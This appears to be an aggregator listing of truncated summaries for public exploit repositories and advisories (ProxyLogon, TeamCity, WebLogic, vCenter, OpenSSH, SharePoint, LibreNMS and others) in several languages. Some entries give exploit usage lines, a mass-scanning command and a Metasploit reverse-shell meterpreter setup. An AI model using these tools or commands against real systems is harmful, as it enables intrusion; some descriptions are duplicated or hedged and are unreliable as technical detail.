CVE-2018-11235-DEMO

CVE-2018-11235 用法 root@kitploit: chybeta@ubuntu git clone https://github.com/CHYbeta/CVE-2018-11235-DEMO.git chybeta@ubuntu cd CVE-2018-11235-DEMO chybeta@ubuntu /CVE-2018-11235-DEMO /usr/local/bin/git --version git version 2.17.0 chybeta@ubuntu /CVE-2018-11235-DEMO ./build.sh 分析 RCE with Git...

CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación previa Consulta el POC de explotación manual: https://youtu.be/b51LPjD-uTo...

CVE-2023-27363

fuxinFoxit 福昕Foxit PDF远程代码执行漏洞CVE-2023-27363分析与复现 免责声明: 本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关。 中文版本: 本免责声明旨在明确指出，本文仅为技术交流、学习和研究之用，不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 针对 Microsoft Exchange 中 ProxyLogon 漏洞的 RCE 利用程序 使用 Python 3.9 用法： python proxylogonrce.py 目标 邮箱 命令 示例： python proxylogonrce.py 192.168.227.137 [email protected] whoami 所有功劳归功于 DEVCORE，基于 https://f5.pm/go-62102.html...

CVE-2023-42793

CVE-2023-42793 - Creación de cuenta de administrador en TeamCity que lleva a RCE usa primero exploit.py para crear una cuenta de administrador y luego usa rce.py para ejecutar comandos en el objetivo, y para reverse shell consulta esto script de exploit Descripción Este script explota...

CVE-2018-2628

测试有无漏洞 上传shell 方式一： 方式二： 执行shell 获得meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload = windows/meterpreter/reversetcp msf...

CVE-2021-21972

使用方法&免责声明 VMware vCenter Server远程代码执行漏洞 CVE-2021-21972 使用方法：Python CVE-2021-21972.py urls.txt urls.txt 中每个url为一行，漏洞地址输出在vul.txt中 影响版本： VMware vCenter Server 7.0系列 7.0.U1c VMware vCenter Server 6.7系列 6.7.U3l VMware vCenter Server 6.5系列 6.5 U3n 工具仅用于安全人员安全测试，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责...

EUVD-2026-72384

LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to...

CVE-2026-86426

LibreNMS before 26.8.0 contains an authentication bypass in its REST API caused by MySQL type coercion : unauthenticated attackers can send small integers (0–9) instead of string tokens, allowing them to match token hashes and access protected endpoints. Successful exploitation exposes device cre...

CVE-2026-86426 LibreNMS before 26.8.0 Authentication Bypass via API Token Type Confusion

LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to...

CVE-2019-13024

CVE-2019-13024 Centreon v19.04 远程代码执行漏洞 CVE-2019-13024 的官方利用代码...

cve-2019-3398

cve-2019-3398 Detalles Una prueba de concepto rápida en python para la vulnerabilidad CVE-2019-3398 de Confluence, escrita en python. Las versiones de Confluence 6.12.3, 6.13.3, 6.14.2 y 6.15.1 están afectadas. El exploit requiere credenciales válidas. Para usar Edita los campos osusername y...

Automation-for-Juniper-cve-2023-36845

Automatización para Juniper CVE:2023-36845 Resumen es un script bash diseñado para verificar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones IP, envía una solicitud a cada una y determina si el sistema es vulnerable según la respuesta. Uso Para usar el script,...

CVE-2025-53770

CVE-2025-53770 SharePoint反序列化RCE PoC 严重 — 通过在Microsoft SharePoint Server中的不安全反序列化实现的未认证远程代码执行 CVE-2025-53770 描述 在本地部署的Microsoft SharePoint Server中反序列化不可信数据允许攻击者远程执行代码并入侵系统。Microsoft已知悉该漏洞正在被积极利用，并正在准备全面的更新。请确保已应用CVE文档中所述的缓解措施。 影响 ：未认证的攻击者可以实现远程代码执行，从而导致系统完全被入侵。 严重性 ：严重 概念验证...

CVE-2024-6387

CVE-2024-6387 OpenSSH 服务器（sshd）中的信号处理程序竞争条件 描述 针对基于glibc的Linux系统上OpenSSH服务器（sshd）中CVE-2024-6387信号处理程序竞争条件的利用程序。该漏洞允许以root身份远程执行代码，原因是在SIGALRM处理程序中调用了异步信号不安全的函数。 安装 $ make all 用法 $ ./exp 利用详情 漏洞概要 该利用程序针对OpenSSH的sshd中的SIGALRM处理程序竞争条件： 受影响版本 = 'SSH-2.0-OpenSSH8.9p1 Ubuntu-3ubuntu0.10',...

CVE-2024-38077

CVE-2024-38077 以下是 CVE-2024-38077 可能的 GitHub 描述： CVE-2024-38077：Windows 远程桌面许可服务中的远程代码执行漏洞 概述： CVE-2024-38077 是 Windows 远程桌面许可服务中的一个严重漏洞，允许远程攻击者在易受攻击的系统上执行任意代码。该漏洞源于服务在处理特定输入时发生堆溢出。利用此漏洞可能导致系统完全沦陷，使攻击者无需身份验证即可控制目标。 受影响系统： Windows Server 2016 Windows Server 2019 Windows Server 2022 安装了远程桌面许可的...

CVE-2022-21907

CVE-2022-21907 描述 root@kitploit: CVE-2022-21907 的 PoC：HTTP 协议栈远程代码执行漏洞。 Malwareman 于 2022-09-17 创建。 详情 root@kitploit: HTTP 协议栈远程代码执行漏洞。 类似于 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166。 该问题自去年在 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 中报告以来一直存在，至今仍未修复。 CVE 严重性...

EUVD-2026-72373

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution...

CVE-2026-80133

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution...

Apache-APISIX-CVE-2022-24112

Apache APISIX 远程代码执行 CVE-2022-24112 漏洞利用 摘要 攻击者可以利用 batch-requests 插件发送请求以 绕过 Admin API 的 IP 限制。 Apache APISIX 的默认配置（使用默认 API 密钥） 容易受到远程代码执行攻击。 当管理员密钥被更改或 Admin API 的端口被更改 为与数据面板不同的端口时，影响会更低。但仍 然存在绕过 Apache APISIX 数据 面板 IP 限制的风险。 batch-requests 插件中有一个检查，它会覆盖 客户端 IP 为其真实的远程 IP。但由于代码中的一个 bug，此...